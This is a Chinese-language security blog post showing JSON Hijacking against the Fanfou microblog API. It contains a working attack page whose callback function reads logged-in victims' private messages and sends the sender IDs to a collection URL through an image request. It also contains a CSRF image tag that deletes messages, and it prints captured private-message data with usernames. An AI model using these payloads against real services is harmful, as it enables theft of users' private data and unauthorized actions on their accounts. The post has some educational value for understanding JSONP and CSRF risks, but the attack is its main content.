![]() |
关于JSON Hijacking的利用以及Web API安全 |
JSON Hijacking有什么作用,正如黑哥所说,可以CSRF得到用户隐私数据:)。 原理最后介绍,先来看个攻击例子,拿饭否来做个实验。首先我们看这 http://help.fanfou.com/api.html。饭否的API。其中: 显示用户收到的私信 路径: http://api.fanfou.com/private_messages/inbox.[json|xml] 参数: count (可选) - 私信数,范围 1-20,默认为 20。 示例: http://api.fanfou.com/private_messages/inbox.xml?count=10 callback (可选) - JavaScript 函数名,使用 JSON 格式时可用,将 JSON 对象作为参数直接调用。 示例: http://api.fanfou.com/private_messages/inbox.xml?callback=getStatuses 我们使用JSON格式的返回数据,并且callback函数可以自定义。然后我们自定义一个evil页面: <script> function getStatuses(o){ var i=0; var data = ''; for(i; i<3; i++){ //alert(o[i].text); data += o[i].sender_id } alert(data); new Image().src="http://127.0.0.1/JSONHiJack.asp?hi="+escape(data); } </script> <script src=http://api.fanfou.com/private_messages/inbox.json?callback=getStatuses&count=3></script> 当登录饭否的用户访问这个evil页面时,他的私信隐私将暴露无疑。第一个<script>标签内的脚本是我们自定义的HiJacking函数,第二个<script>标签加载远程JS。数据如下: getStatuses([{"id":585904,"text":"最近怎么没声了?","sender_id":"Salina_Wu","recipient_id":"ycosxhack","created_at":"Sat May 31 05:00:01 +0000 2008","sender_screen_name":"LOLO","recipient_screen_name":"余弦"},{"id":444619,"text":"'';!--\"<XSS>=&{()}","sender_id":"xssis","recipient_id":"ycosxhack","created_at":"Fri Apr 11 16:07:19 +0000 2008","sender_screen_name":"xssis","recipient_screen_name":"余弦"},{"id":351757,"text":"嘎~加你好友了~","sender_id":"Salina_Wu","recipient_id":"ycosxhack","created_at":"Sat Mar 01 03:27:22 +0000 2008","sender_screen_name":"LOLO","recipient_screen_name":"余弦"}]) 由于getStatuses函数被我们预先劫持而定义,于是第二个<script>标签内的远程JS文件就会执行这个getStatuses函数,参数就是上面这个JSON数据。 这是一个CSRF过程。然而饭否API所带来的安全威胁就不仅仅是JSON Hijacking的利用了。大家仔细阅读它的API文档。看看是否还有其他可利用的地方?比如: <img src=http://api.fanfou.com/private_messages/destroy.json?callback=getStatuses&id=246333 /> 呵呵,这API真是个好东西。不仅仅饭否,其他类似的开放API的服务也会存在这样的威胁。我就不继续深挖了。 |